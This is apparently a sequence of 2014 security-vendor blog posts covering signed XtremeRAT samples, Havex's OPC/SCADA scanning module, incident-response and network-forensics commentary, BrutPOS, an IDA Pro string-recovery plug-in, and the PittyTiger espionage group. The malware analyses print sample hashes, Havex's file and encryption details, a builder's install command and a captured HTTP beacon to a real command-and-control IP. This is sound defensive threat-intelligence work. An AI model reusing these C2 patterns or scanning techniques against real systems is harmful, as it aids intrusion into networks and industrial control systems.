be47ec66d861c35784da527bf0f2e03a XtremeRAT 3.5 Private svhost IdSec USA3 lNFAH0 NA
c27232691dacf4cff24a4d04b3b2896b XtremeRAT 3.5 Private InstallDir IdSec idsection eyA8znpc NA
e79636e4c7418544d188a29481c100bb XtremeRAT 3.5 Private svhost IdSec USA3 lNFAH04 NA
bd70a7cae3ebf85cf1edd9ee776d8364 XtremeRAT 3.5 Private svhost IdSec IdSec lNFAH0 NA
0be3b0e296be33903bf76b8cd9cf52ca XtremeRAT 3.5 Private svhost CiTa IdSec x4KybsbM NA

Conclusion

The usage of digital signatures isn’t going to decrease anytime soon- especially by threat actors. It gives them a quick, easy way to bypass traditional security controls since certificates and signatures are typically trusted by default. In this blog, we are shown that this trend still true. We looked towards the past in this blog, to better understand motivations and trends going forward. We can accurately say, based on the information attributed, that the CZ Solution signatures were being utilized by an individual or group of individuals using French assets and infrastructure.

These particular actors didn’t show a significant level of expertise, but did show collective resources with knowledge in at least Zeus, Spy-Net, and XtremeRAT. We can say accurately that it is likely these actor(s) were using the same signature to send out a wide range of binaries, possibly even outside of the realm of the four families discussed here. As we wrote this blog, we couldn’t help but be reminded of the spam run focused in Colombia and Central America that we wrote about back in February of this year. A spam run that is regionally focused, but with no apparent targeting in nature, utilizing a mix of ZeuS and off-the-shelf RATs.

Helping protect your organization from threats using valid digital signatures can include verification of the signature’s serial number. In this case, the serial number: 6e 7b 63 95 ac 5b 5c 8a 2a ec c4 52 8d 9e 65 10, is the identifier to locate in regards to this publisher. Also, if you’re running your own internal certificate authority, ensure you are adequately revoking certificates that may have been compromised. This will help ensure compromised certificates are not utilized in attacks.

 

Havex, It’s Down With OPC

FireEye recently analyzed the capabilities of a variant of Havex (referred to by FireEye as “Fertger” or “PEACEPIPE”), the first publicized malware reported to actively scan OPC servers used for controlling SCADA (Supervisory Control and Data Acquisition) devices in critical infrastructure (e.g., water and electric utilities), energy, and manufacturing sectors.

While Havex itself is a somewhat simple PHP Remote Access Trojan (RAT) that has been analyzed by other sources, none of these have covered the scanning functionality that could impact SCADA devices and other industrial control systems (ICS). Specifically, this Havex variant targets servers involved in OPC (Object linking and embedding for Process Control) communication, a client/server technology widely used in process control systems (for example, to control water pumps, turbines, tanks, etc.).

Note: ICS is a general term that encompasses SCADA (Supervisory Control and Data Acquisition) systems, DCS (Distributed Control Systems), and other control system environments. The term SCADA is well-known to wider audiences, and throughout this article, ICS and SCADA will be used interchangeably.

Threat actors have leveraged Havex in attacks across the energy sector for over a year, but the full extent of industries and ICS systems affected by Havex is unknown. We decided to examine the OPC scanning component of Havex more closely, to better understand what happens when it’s executed and the possible implications.

OPC Testing Environment

To conduct a true test of the Havex variant’s functionality, we constructed an OPC server test environment that fully replicates a typical OPC server setup (Figure 1[3]). As shown, ICS or SCADA systems involve OPC client software that interacts directly with an OPC server, which works in tandem with the PLC (Programmable Logic Controller) to control industrial hardware (such as a water pump, turbine, or tank). FireEye replicated both the hardware and software the OPC server setup (the components that appear within the dashed line on the right side of Figure 1).

havex1

Figure 1: Topology of typical OPC server setup

The components of our test environment are robust and comprehensive to the point that our system could be deployed in an environment to control actual SCADA devices. We utilized an Arduino Uno[1] as the primary hardware platform, acting as the OPC server. The Arduino Uno is an ideal platform for developing an ICS test environment because of the low power requirements, a large number of libraries to make programming the microcontroller easier, serial communication over USB, and cheap cost. We leveraged the OPC Server and libraries from St4makers[2] (as shown in Figure 2). This software is available for free to SCADA engineers to allow them to develop software to communicate information to and from SCADA devices.

havex2

Figure 2: OPC Server Setup

Using the OPC Server libraries allowed us to make the Arduino Uno act as a true, functioning OPC SCADA device (Figure 3).

havex3

Figure 3: Matrikon OPC Explorer showing Arduino OPC Server

We also used Matrikon’s OPC Explorer[1], which enables browsing between the Arduino OPC server and the Matrikon embedded simulation OPC server. In addition, the Explorer can be used to add certain data points to the SCADA device – in this case, the Arduino device.

havex4

Figure 4: Tags identified for OPC server

In the OPC testing environment, we created tags in order to simulate a true OPC server functioning. Tags, in relation to ICS devices, are single data points. For example: temperature, vibration, or fill level. Tags represent a single value monitored or controlled by the system at a single point in time.

With our test environment complete, we executed the malicious Havex “.dll” file and analyzed how Havex’s OPC scanning module might affect OPC servers it comes in contact with.

Analysis

The particular Havex sample we looked at was a file named PE.dll (6bfc42f7cb1364ef0bfd749776ac6d38). When looking into the scanning functionality of the particular Havex sample, it directly scans for OPC servers, both on the server the sample was submitted on, and laterally, across the entire network.

The scanning process starts when the Havex downloader calls the runDll export function.  The OPC scanner module identifies potential OPC servers by using the Windows networking (WNet) functions.  Through recursive calls to WNetOpenEnum and WNetEnumResources, the scanner builds a list of all servers that are globally accessible through Windows networking.  The list of servers is then checked to determine if any of them host an interface to the Component Object Models (COM) listed below:

Screen Shot 2014-07-17 at 12.31.56 PM

Figure 5: Relevant COM objects

Once OPC servers are identified, the following CLSIDs are used to determine the capabilities of the OPC server:

Screen Shot 2014-07-17 at 12.33.22 PM

            Figure 6: CLSIDs used to determine capabilities of the OPC server

When executing PE.dll, all of the OPC server data output is first saved as %TEMP%\[random].tmp.dat. The results of a capability scan of an OPC server is stored in %TEMP%\OPCServer[random].txt. Files are not encrypted or deleted once the scanning process is complete.

Once the scanning completes, the log is deleted and the contents are encrypted and stored into a file named %TEMP%\[random].tmp.yls.  The encryption process uses an RSA public key obtained from the PE resource TYU.  The RSA key is used to protect a randomly generated 168-bit 3DES key that is used to encrypt the contents of the log.

The TYU resource is BZip2 compressed and XORed with the string “1312312”.  A decoded configuration for 6BFC42F7CB1364EF0BFD749776AC6D38 is included in the figure below:

Screen Shot 2014-07-17 at 12.27.24 PM

Figure 7: Sample decoded TYU resource

The 4409de445240923e05c5fa6fb4204 value is believed to be an RSA key identifier. The AASp1… value is the Base64 encoded RSA key.

A sample encrypted log file (%TEMP%\[random].tmp.yls) is below.

00000000  32 39 0a 66 00 66 00 30  00 30 00 66 00 66 00 30 29.f.f.0.0.f.f.000000010  00 30 00 66 00 66 00 30  00 30 00 66 00 66 00 30 .0.f.f.0.0.f.f.000000020  00 30 00 66 00 66 00 30  00 30 00 66 00 66 00 30 .0.f.f.0.0.f.f.000000030  00 30 00 66 00 66 00 30  00 30 00 66 00 37 39 36 .0.f.f.0.0.f.79600000040  0a 31 32 38 0a 96 26 cc  34 93 a5 4a 09 09 17 d3 .128..&.4..J….00000050  e0 bb 15 90 e8 5d cb 01  c0 33 c1 a4 41 72 5f a5 …..]…3..Ar_.00000060  13 43 69 62 cf a3 80 e3  6f ce 2f 95 d1 38 0f f2 .Cib….o./..8..00000070  56 b1 f9 5e 1d e1 43 92  61 f8 60 1d 06 04 ad f9 V..^..C.a.`…..00000080  66 98 1f eb e9 4c d3 cb  ee 4a 39 75 31 54 b8 02 f….L…J9u1T..00000090  b5 b6 4a 3c e3 77 26 6d  93 b9 66 45 4a 44 f7 a2 ..J<.w&m..fEJD..000000A0  08 6a 22 89 b7 d3 72 d4  1f 8d b6 80 2b d2 99 5d .j”…r…..+..]000000B0  61 87 c1 0c 47 27 6a 61  fc c5 ee 41 a5 ae 89 c3 a…G’ja…A….000000C0  9e 00 54 b9 46 b8 88 72  94 a3 95 c8 8e 5d fe 23 ..T.F..r…..].#000000D0  2d fb 48 85 d5 31 c7 65  f1 c4 47 75 6f 77 03 6b -.H..1.e..Guow.k

–Truncated–Probable Key Identifierff00ff00ff00ff00ff00ff00ff00fRSA Encrypted 3DES Key5A EB 13 80 FE A6 B9 A9 8A 0F 41…The 3DES key will be the last 24 bytes of the decrypted result.3DES IV88 72  94 a3 95 c8 8e 5d3DES Encrypted Logfe 23 2d fb 48 85 d5 31 c7 65 f1…

Figure 8: Sample encrypted .yls file

Execution

When executing PE.dll against the Arduino OPC server, we observe interesting responses within the plaintext %TEMP%\[random].tmp.dat:

Screen Shot 2014-07-17 at 12.41.27 PM

Figure 9: Sample scan log

The contents of the tmp.dat file are the results of the scan of the network devices, looking for OPC servers. These are not the in-depth results of the OPC servers themselves, and only perform the initial scanning.

The particular Havex sample in question also enumerates OPC tags and fully interrogates the OPC servers identified within %TEMP%\[random].tmp.dat. The particular fields queried are: server state, tag name, type, access, and id. The contents of a sample %TEMP%\OPCServer[random].txt can be found below:

Screen Shot 2014-07-17 at 12.43.48 PM

Figure 10: Contents of OPCServer[Random].txt OPC interrogation

While we don’t have a particular case study to prove the attacker’s next steps, it is likely after these files are created and saved, they will be exfiltrated to a command and control server for further processing.

Conclusion

Part of threat intelligence requires understanding all parts of a particular threat. This is why we took a closer look at the OPC functionality of this particular Havex variant.  We don’t have any case study showcasing why the OPC modules were included, and this is the first “in the wild” sample using OPC scanning. It is possible that these attackers could have used this malware as a testing ground for future utilization, however.

Since ICS networks typically don’t have a high-level of visibility into the environment, there are several ways to help minimize some of the risks associated with a threat like Havex. First, ICS environments need to have the ability to perform full packet capture ability. This gives incident responders and engineers better visibility should an incident occur.

Also, having mature incident processes for your ICS environment is important. Being able to have security engineers that also understand ICS environments during an incident is paramount. Finally, having trained professionals consistently perform security checks on ICS environments is helpful. This ensures standard sets of security protocols and best practices are followed within a highly secure environment.

We hope that this information will further educate industrial control systems owners and the security community about how the OPC functionality of this threat works and serves as the foundation for more investigation. Still, lots of questions remain about this component of Havex. What is the attack path? Who is behind it? What is their intention? We’re continuing to track this specific threat and will provide further updates as this new tactic unfolds.

Acknowledgements

We would like to thank Josh Homan for his help and support.

Related MD5s

ba8da708b8784afd36c44bb5f1f436bc

6bfc42f7cb1364ef0bfd749776ac6d38

4102f370aaf46629575daffbd5a0b3c9

References

US GAO Report Highlights Incident Response Shortcomings

On May 30th, 2014, the US Government Accountability Office (GAO) released a report titled “Information Security: Agencies Need to Improve Cyber Incident Response Practices.” GAO conducted its research by randomly selecting six government agencies, then selecting a statistically significant number of incident reports (40 from each organization), documented during 2012. GAO then evaluated how the agencies performed, based on the reports. GAO compared the documented incident response actions to requirements set by the Federal Information Security Management Act of 2002 (FISMA) and National Institute of Standards and Technology (NIST) Special Publication 800-61, Computer Security Incident Handling Guide. The results were surprising and I will explain the significance of several excerpts in this post.

First, “agencies had recorded actions to halt the spread of, or otherwise limit, the damage caused by an incident in about 75 percent of incidents government-wide. However, agencies did not demonstrate such actions for about 25 percent of incidents government-wide.”

This comment references the need to contain an intrusion. If a government agency fails to completely contain an intrusion, any gaps leave the adversary freedom of maneuver. He can exploit the containment failure to proliferate to other systems and remain in control of an organization’s systems. Anything less than 100% containment is essentially 0% containment.

Second, “for about 77 percent of incidents government-wide, the agencies had identified and eliminated the remaining elements of the incident. However, agencies did not demonstrate that they had effectively eradicated incidents in about 23 percent of incidents.”

This comment references the need to remove an intruder from a compromised organization. Similar to the need for 100% containment, one must also achieve 100% removal in order to completely frustrate the adversary. If an adversary retains access to even one system, he can rebuild his position and retake control of the victim.

Third, “agencies returned their systems to an operationally ready state for about 81 percent of incidents government-wide. However, they had not consistently documented remedial actions on whether they had taken steps to prevent an incident from reoccurring. Specifically, agencies did not demonstrate that they had acted to prevent an incident from reoccurring in about 49 percent of incidents government-wide.”

This comment describes the need to learn from intrusions and implement remediation. If a victim fails to make the environment tougher for the adversary, the intruder will likely return using the same techniques that he utilized to first gain access.

Finally, a search of the entire GAO report for the word “strategy” produced zero hits. Beyond being disappointed by the three excerpts I highlighted above, I am dismayed to not hear GAO discuss the need for a security strategy for organizations. Incident response is not a technical action. IR should be part of a business process, done as part of an operation that implements a strategy understood and approved by the highest levels of management. Furthermore, the GAO report did not really evaluate the consequences of the three documented failures and the lack of concrete security strategies. Had GAO taken that step, they might have concluded that the agencies continue to face severe security challenges.

Network Forensics: Use Cases In the Enterprise

Network forensics is an important component of a successful security operations program. It is an important capability that provides a data of record for the incident responder and plays an important role in the daily security operations workflow.  While the utility and importance of network forensics may be clear to the security professional, that value may be difficult to communicate to the business decision maker or executive. In this post, I’d like to discuss several business use cases for network forensics that may help communicate the value and business need for network forensics as an integral component of incident response.

Breach Response

When an organization discovers, or is notified of a breach, time becomes of the essence. The organization’s immediate focus becomes moving quickly from detection to containment. In order to make this move, the organization needs to answer a set of essential questions aimed at identifying the extent of the breach and the damage caused by it. This process is often called breach response and involves investigation, analysis, and forensics. Examples of some of the questions that will need to be answered are:

  • How long has this activity been going on (i.e., when did the intrusion begin)?
  • Is the activity still going on?
  • How many systems were affected?
  • What data was taken?
  • Was any sensitive, proprietary, or confidential information taken?

These and other relevant questions are designed to focus the organization on rapidly identifying the extent of the damage, both for containment purposes, but also to address potential public relations, legal, and privacy concerns. For example, consider the case where a law enforcement agency approaches a business (of any size) and informs them that they have been breached and have been observed communicating with a known drop site. The organization will have many questions, including, among many others, those listed above. An accurate, cohesive, lossless data of record is required to properly answer all of the necessary questions. Further, it’s not sufficient merely collect the data, but rather, it must be easy to precisely, incisively, and rapidly extract that data for analysis and forensics.

Hunting

On any network, there will be unusual or suspect activity from time to time. Sometimes, this unusual activity can be indicative of advanced threats and targeted activity. Many times, the threat actors are quite adept at keeping a low profile and executing actions on objectives subtly. For example, Advanced Persistent Threat (APT) actors may compromise an endpoint inside of an organization and slowly collect sensitive, proprietary, or confidential information to stage for subsequent exfiltration. While detecting this activity in an automated fashion would be ideal, this turns out to be very difficult in practice. As a result, if this activity is successfully detected within the organization (as opposed to via a third party), it is most often done so via hunting. Hunting is the activity through which skilled analysts use a variety of different analytical techniques to “slice and dice” the network traffic data in the “hunt” for this subtle malicious activity. The best analysts will want to issue targeted, precise, incisive queries designed to extract the proper forensics data rapidly, with minimal noise. This requires a network forensics capability that can rise to this challenge at enterprise network speeds and traffic volumes.

Metrics/Network Knowledge

Metrics provide important data points to the decision maker and executive. As a recent example, let us consider the many new Top Level Domains (TLDs) that have become available for use. Attackers have already leveraged some of these TLDs for malicious purposes, and this activity will undoubtedly continue to increase. This example begs the question: If a TLD serves no legitimate business purpose and can only expose the organization to risk, should it be blocked proactively? I believe the answer to this question is yes. But how can we ensure that a TLD serves no business purpose? This is where the metrics and network knowledge become so crucial.  Business decisions should be based on facts, and facts come from an accurate, precise data of record – the network forensics data. This is merely one example of the many business questions that can be answered with metrics driven by network forensics data. When business decision makers or executives need answers, it is best to be able to provide answers based on ground truth.

Intelligence

When leveraged properly, actionable intelligence can provide additional enrichment and maturity to a security operations program, as well as aid in the improved detection of intrusions. Leveraging intelligence properly involves many details, but one of the most important details is that a reliable data of record exists. After various Indicators of Compromise (IOCs) are received and vetted, they should be leveraged against a reliable data of record in order to maximize their value. There are two time-based aspects here – historical and ongoing. We can run IOCs against our historical data to check for evidence of intrusions present on the network from the past on through the current day. In addition to that, we should also monitor for evidence of intrusions on an ongoing basis and raise an event to the alert queue when we see that evidence. These are both productive activities, assuming that an accurate, cohesive, lossless data of record exists for us to run the IOCs against.  Further, it is not merely enough to collect the data – we need to be able to rapidly and surgically extract the data through targeted, precise, and incisive queries. For example, an organization may receive a daily feed of malicious command and control domain names from one or more of its intelligence sources. That data needs to be run against a corresponding data of record to find instances of command and control activity present on the organization’s network indicating that some systems are compromised. A scalable network forensics solution, one that can both record all of the network data at high speed as well as make that data and meta-data available for analysis, is required in order to properly leverage intelligence.

DNS/Passive DNS

Data from Domain Name System (DNS) queries and responses provide a wealth of insight into unusual or suspect activity that may be occurring on the network. For example, most users pointing their browsers at legitimate websites will request domain names that resolve to routable, public IP addresses. But what if a resource on the network repeatedly requests a domain name that resolves to private, non-routable IP address or one that has no resolution at all? Further, what if that domain name suddenly “comes alive” and begins resolving to a routable, public IP address and/or the resource begins exfiltrating data to that IP address? This is just one of many interesting applications of DNS query and response data. As interesting and crucial as this data is, many organizations struggle to maintain adequate visibility across their DNS infrastructure. There are many reasons why this is the case, but there is a solution. A network forensics platform collects layer 7 enriched meta-data for many application protocols, DNS among them. This provides an organization with a de facto DNS monitoring and passive DNS data collection system, without requiring the organization to invest in additional technology or hardware. It’s one of my favorite use cases for network forensics and likely one that will resonate with many readers. For smaller organizations, there is also the additional benefit of using using one network forensics technology for multiple purposes.

Intelligent Alerting

As the old saying goes, ask a stupid question, get a stupid answer. The modern attacker is intelligent and sophisticated. We would be naïve to think that we could identify a sly attacker’s subtle activity with dull, generic queries. If we want to find the intelligent attacker, we need to ask intelligent questions. Asking intelligent questions requires two fundamental components. The first required component is that the data be collected and its associated meta-data extracted and indexed for rapid search. The second required component is a robust query language that allows the analyst to ask incisive, targeted, precise, intelligent questions of the data. It’s likely not a surprise that a mature, scalable, powerful network forensics solution provides both of these required components. For example, say I am a mid-sized organization concerned by potential theft of intellectual property from my executives. With the right solution in place, I can precisely craft my alert logic so as to focus in on the specific employees, systems, data, and threats I am concerned with. In the absence of that capability, many organizations struggle to issue queries powerful enough to identify suspicious and malicious activity designed to behave subtly and fly under the radar.

There are many use cases for network forensics, but I’ve tried to list those that may help to reinforce the strong business need for network forensics. When the need arises to perform breach response or any of the other use cases listed above, the organization that has implemented a robust, scalable network forensics solution will fare better than the organization that has not. With the stakes so high these days, it would be a shame not to be prepared.

BrutPOS From a Security Practioner’s Perspective

Today, FireEye Labs posted a technical blog on the malware for a botnet that we call BrutPOS. With a lot of attention focused on data breaches in retail, BrutPOS gives us a chance to look retrospectively on the state of retail security.

The popular phrase “a chain is only as strong as its weakest link” has great relevance in the information security world.  There are a large number of ways to compromise a business network, yet attackers are quite successful in this endeavor using fairly pedestrian methods of attack.  This raises the important question: Why is this the case?  Part of the answer lies in the fact that attackers don’t feel a great need to use particularly sophisticated attack methods.  In other words, if attackers can succeed using fairly elementary attack methods, why should they work any harder?  Let’s examine this principle through the example of the BrutPOS malware.

Most businesses use Microsoft’s Remote Desktop Protocol (RDP) as an integral part of their day-to-day business operations.  RDP allows for remote login to Windows systems.  This has many legitimate uses, such as an administrator logging on to a system remotely to update a software package.  Like any legitimate service, attackers are also quite happy to leverage RDP for their own nefarious purposes.  An example of this is the BrutPOS malware, the analysis of which was detailed in a FireEye blog post today. At a high level, the purpose of the BrutPOS malware is to compromise Point of Sale (POS) terminals through the use of the remote desktop protocol (RDP).  The malware aims to steal payment card information from those compromised POS terminals.  There is no need for the attackers to write a sophisticated protocol for their malware to log on to systems remotely – the RDP works quite nicely.

There are many approaches an organization can take to better manage the risk presented in the BrutPOS malware. One of those approaches is to go back to basics and remember some important foundational tenets of information security.  This approach involves ensuring that authentication and authorization policies are sensible and enforced across the organization.  For example, some simple steps an organization can take to improve its defenses against threats such as BrutPOS include (but are not limited to):

  • Not allowing administrative access to systems, with the exception of special administrative accounts for administrators
  • Locking out accounts after N number of incorrect login attempts
  • Not allowing RDP login by default on systems, but rather, granting it on an as needed basis
  • Limiting or eliminating the use of shared or group accounts
  • Monitoring authentication logs for repetitive failed login attempts to one system or multiple systems

As organizations look to continually improve their information security postures, it’s important to remember that foundational tenets are as valid as ever.  We do need to ensure that we have a variety of defensive measures in our arsenal, but it’s important to remember that not all of them need be cutting edge.  Sometimes, foundational best practices can provide us with straightforward approaches to mitigating risk posed by modern threats.

Threat Research


Filter by Category:


FLARE IDA Pro Script Series: Automatic Recovery of Constructed Strings in Malware

The FireEye Labs Advanced Reverse Engineering (FLARE) Team is dedicated to sharing knowledge and tools with the community. We started with the release of the FLARE On Challenge in early July where thousands of reverse engineers and security enthusiasts participated. Stay tuned for a write-up of the challenge solutions in an upcoming blog post.

This post is the start of a series where we look to aid other malware analysts in the field. Since IDA Pro is the most popular tool used by malware analysts, we’ll focus on releasing scripts and plug-ins to help make it an even more effective tool for fighting evil. In the past, at Mandiant we released scripts on GitHub and we’ll continue to do so at the following new location https://github.com/fireeye/flare-ida. This is where you will also find the plug-ins we released in the past: Shellcode Hashes and Struct Typer. We hope you find all these scripts as useful as we do.

Quick Challenge

Let’s start with a simple challenge. What two strings are printed when executing the disassembly shown in Figure 1?

figure1

Figure 1: Disassembly challenge

If you answered “Hello world\n” and “Hello there\n”, good job! If you didn’t see it then Figure 2 makes this more obvious. The bytes that make up the strings have been converted to characters and the local variables are converted to arrays to show buffer offsets.

Figure 2: Disassembly challenge with markup

Figure 2: Disassembly challenge with markup

Reverse engineers are likely more accustomed to strings that are a consecutive sequence of human-readable characters in the file, as shown in Figure 3. IDA generally does a good job of cross-referencing these strings in code as can be seen in Figure 4.

Figure 3: A simple string

Figure 3: A simple string

 

Figure 4: Using a simple string

Figure 4: Using a simple string

Manually constructed strings like in Figure 1 are often seen in malware. The bytes that make up the strings are stored within the actual instructions rather than a traditional consecutive sequence of bytes. Simple static analysis with tools such as strings cannot detect these strings. The code in Figure 5, used to create the challenge disassembly, shows how easy it is for a malware author to use this technique.

Figure 5: Challenge source code

Figure 5: Challenge source code

Automating the recovery of these strings during malware analysis is simple if the compiler follows a basic pattern. A quick examination of the disassembly in Figure 1 could lead you to write a script that searches for mov instructions that begin with the opcodes C6 45 and then extract the stack offset and character bytes. Modern compilers with optimizations enabled often complicate matters as they may:

  • Load frequently used characters in registers which are used to copy bytes into the buffer
  • Reuse a buffer for multiple strings
  • Construct the string out of order

Figure 6 shows the disassembly of the same source code that was compiled with optimizations enabled. This caused the compiler to load some of the frequently occurring characters in registers to reduce the size of the resulting assembly. Extra instructions are required to load the registers with a value like the 2-byte mov instruction at 0040115A, but using these registers requires only a 4-byte mov instruction like at 0040117D. The mov instructions that contain hard-coded byte values are 5-bytes, such as at 0040118F.

Figure 6: Compiler optimizations

Figure 6: Compiler optimizations

 

The StackStrings IDA Pro Plug-in

To help you defeat malware that contains these manually constructed strings we’re releasing an IDA Pro plug-in named StackStrings that is available at https://github.com/fireeye/flare-ida. The plug-in relies heavily on analysis by a Python library called Vivisect. Vivisect is a binary analysis framework frequently used to augment our analysis. StackStrings uses Vivisect’s analysis and emulation capabilities to track simple memory usage by the malware. The plug-in identifies memory writes to consecutive memory addresses of likely string data and then prints the strings and locations, and creates comments where the string is constructed. Figure 7 shows the result of running the above program with the plug-in.

Figure 7: StackStrings plug-in results

Figure 7: StackStrings plug-in results

 

While the plug-in is called StackStrings, its analysis is not just limited to the stack. It also tracks all memory segments accessed during Vivisect’s analysis, so manually constructed strings in global data are identified as well as shown in Figure 8.

Figure 8: Sample global string

Figure 8: Sample global string

Simple, manually constructed WCHAR strings are also identified by the plug-in as shown in Figure 9.

Figure 9: Sample WCHAR data

Figure 9: Sample WCHAR data

 

Installation

Download Vivisect from http://visi.kenshoto.com/viki/MainPage and add the package to your PYTHONPATH environment variable if you don’t already have it installed.

Clone the git repository at https://github.com/fireeye/flare-ida. The python\stackstring.py file is the IDA Python script that contains the plug-in logic. This can either be copied to your %IDADIR%\python directory, or it can be in any directory found in your PYTHONPATH. The plugins\stackstrings_plugin.py file must be copied to the %IDADIR%\plugins directory.

Test the installation by running the following Python commands within IDA Pro and ensure no error messages are produced:

Screen Shot 2014-08-01 at 1.06.24 PM

To run the plugin in IDA Pro go to Edit – Plugins – StackStrings or press Alt+0.

Known Limitations

The compiler may aggressively optimize memory and register usage when constructing strings. The worst-case scenario for recovering these strings occurs when a memory buffer is reused multiple times within a function, and if string construction spans multiple basic blocks. Figure 10 shows the construction of “Hello world\n” and “Hello there\n”. The plug-in attempts to deal with this by prompting the user by asking whether you want to use the basic-block aggregator or function aggregator.  Often the basic-block level of memory aggregation is fine, but in this situation running the plug-in both ways provides additional results.

Figure 10: Two strings, one buffer, multiple basic blocks

Figure 10: Two strings, one buffer, multiple basic blocks

 

You’ll likely get some false positives due to how Vivisect initializes some data for its emulation. False positives should be obvious when reviewing results, as seen in Figure 11.

Figure 11: False positive due to memory initialization

Figure 11: False positive due to memory initialization

The plug-in aggressively checks for strings during aggregation steps, so you’ll likely get some false positives if the compiler sets null bytes in a stack buffer before the complete string is constructed.

The plug-in currently loads a separate Vivisect workspace for the same executable loaded in IDA. If you’ve manually loaded additional memory segments within your IDB file, Vivisect won’t be aware of that and won’t process those.

Vivisect’s analysis does not always exactly match that of IDA Pro, and differences in the way the stack pointer is tracked between the two programs may affect the reconstruction of stack strings.

If the malware is storing a binary string that is later decoded, even with a simple XOR mask, this plug-in likely won’t work.

The plug-in was originally written to analyze 32-bit x86 samples. It has worked on test 64-bit samples, but it hasn’t been extensively tested for that architecture.

Conclusion

StackStrings is just one of many internally developed tools we use on the FLARE team to speed up our analysis. We hope it will help speed up your analysis too. Stay tuned for our next post where we’ll release another tool to improve your malware analysis workflow.

Spy of the Tiger

A recent report documents a group of attackers known as “PittyTiger” that appears to have been active since at least 2011; however, they may have been operating as far back as 2008. We have been monitoring the activities of this group and believe they are operating from China.

This group leverages social engineering to deliver spearphishing emails, in a variety of languages including English, French and Chinese, and email phishing pages to their targets. The attackers use a variety of different malware and tools to maintain command and control (C2) and move laterally through their targets’ networks.

In a recent attack against a French company, the attackers sent simple, straightforward messages in English and French from free email addresses using names of actual employees of the targeted company.

pittytiger1

pittytiger2

We have also observed this group using a Yahoo! email phishing kit, with phishing pages for multiple regions and in multiple languages.

The malicious documents exploit vulnerable versions of Microsoft Office. The attackers used two different exploits CVE-2012-0158 and CVE-2014-1761.

The documents that exploit CVE-2012-0158 were built using a tool that leaves behind the metadata which indicates that the author is “Tran Duy Linh”. (This builder has been shared across multiple threat groups that are otherwise unconnected).

The documents that exploit CVE-2014-1761 contain metadata that matches malicious documents created by both the Jdoc builder and the Metasploit Framework, however, the exact builder tool used by the attackers remains unclear.

This threat group uses a first-stage malware known as Backdoor.APT.Pgift  (aka Troj/ReRol.A), which is dropped via malicious documents and connects back to a C2 server. This malware communicates some information about the compromised computer; however, its primary function is to deliver the second-stage malware to the compromised computer.

Backdoor.APT.Pgift Builder

During our investigation, we discovered a builder used in conjunction with the Backdoor.APT.Pgift malware. This builder is used to create and test files placed on the C2 server. 

pittytiger3

The builder creates three files:

  • 25dd831ae7d720998a3e3a8d205ab684  dr.asp
  • 4b89c31d1d7744bcf5049d582d35e717  Install-Dll.bat
  • e738286a0031621d50aeb5fc1d95d7a4  JHttpSrv.dll

The dr.asp file is placed on a web server, and malware on compromised systems will beacon to it. The file can retrieve the compromised host’s IP address and returns either a 32-bit or 64-bit second-stage executable depending on the compromised host’s environment.

pittytiger4

The Install-Dll.bat file simply installs JHttpSrv.dll by running the command:

  • regsrv jhttpsrv

The JHttpSrv.dll handles the incoming, encoded data from compromised hosts.

This data is written to a text file in a directory named “log” with the following format:

  • IP Address-YYYYMMDD-HHMMSS.[3 digits].txt

This data contains information about the compromised system including:

  • Hostname
  • Username
  • System Type (32-bin or 64-bit)
  • Operating System
  • Organization
  • Owner
  • Ports and Processes
  • Running Software
  • Installed Software
  • Network Configuration

Although this tool has some information-gathering capabilities, it is primarily a “downloader” designed to push second-stage malware to a compromised system.

Previous Attacks

pittytiger5

It appears the Backdoor.APT.Pgift malware was used in an earlier attack against a target in Taiwan. Although the email date shows September 2010, the actual email appears to have been sent in January 2014. The malicious attachment 中秋節酒品禮薈萃.doc (4c350726bb7773f0ac98bdd665ef93dc) exploits CVE-2012-0158 to drop f3b1a1c18c783c2e949e68f0dd047eae. The network communication is:

POST /pgift.asp HTTP/1.1
Content-Length: 9637
User-Agent: Mozilla/4.0 (compatible;)
Host: 113.10.221.196:8080
Connection: Keep-Alive
Cache-Control: no-cache

Although the malware is the same, this version uses the filename “pgift.asp” instead of “dr.asp.”

We have observed attacks against targets in Taiwan using phishing emails written in Traditional Chinese, and the repeated use of .tw domains as command and control servers may indicate an interest in Taiwan as well.

Malware

The PittyTiger group uses various other malware including:

  • Backdoor.APT.PittyTiger1.3 (aka CT RAT) – This malware is likely used as a second-stage backdoor. The behavior of this sample is similar to the “old” PittyTiger but is distinct. The attackers labeled it as PittyTiger v. 1.3 and use an interface that displays the system information associated with a compromised computer and provides the attacker with a remote shell. The attackers may be using this as second-stage malware.
  • Backdoor.APT.PittyTiger – This malware is the classic “PittyTiger” malware (PittyTigerV1.0) that was heavily used by this group in 2012-2013. This malware allows the attackers to use a remote shell, upload and download files and capture screenshots.
  • Backdoor.APT.Lurid (aka MM RAT / Troj/Goldsun-B) – This malware is a variant of the Enfal/Lurid malware used by a variety of different groups since at least 2006. This variant has the same functionality, but the file names have been changed. We have observed the Enfal/Lurid malware in use since 2011 and in conjunction with Backdoor.APT.Pgift as the payload of a malicious document used in spearphishing attacks. It also appears the attackers use this as second-stage malware.
  • Gh0st variants – A report by Cassidian Cyber Security reveals the attackers also use variants of Gh0st RAT, a well-known RAT used by a variety of attackers. These variants are known as Paladin RAT and Leo RAT.
  • PoisonIvy – This group also used the Poison Ivy malware during 2008-2009. We analyzed PoisonIvy samples that connect to domain names used by this group. The samples were compiled in 2008 and 2009 (one of the samples with a 2008 compile date was also submitted to Virustotal in 2008, leading us to believe the timestamps have not been altered).

The PittyTiger group uses a variety of malware to achieve their objectives. We have not observed these attackers using 0day exploits; rather, they appear to acquire access to builders that are more widely distributed that can be used to create malicious documents.

Acknowledgements

We would like to thank Alex Lanstein, Jen Kolde, Jonathan Wrolstad, Ned Moran and Thoufique Haq.

Samples

Backdoor.APT.Pgift

5e2360a8c4a0cce1ae22919d8bff49fd
f74a7a7f43dfce7ff2851baefe19ef63
05de3bfb5da1dcf08f9ca0bd589364bf
5e2360a8c4a0cce1ae22919d8bff49fd
79e48961d1ee982a466d222671a42ccb
bf95e89906b8a17fd611002660ffff32
ed35e43142b42b57f518197d930471d9
5e2360a8c4a0cce1ae22919d8bff49fd

Backdoor.APT.PittyTiger1.3

f65dc0b3eeb3c393e89ab49a3fac95a8

Backdoor.APT.Lurid

b72cf03822cd03a4923195cb7db9ac41
eb658d398ac54236564dd52b23943736
728d6d3c98b17de3261eaf76b9c3eb7a
735d37a1fde0f8d8924a70e9101c45b1
9712235ba979ef5a23db3ebdc41d9a02
d4be094c7f767fc6d9eda1665d536484

Backdoor.APT.PittyTiger

1097a30d91b0e8adaec8951fb639ffe0
1f7796e76427c96d57086fcf797518f7
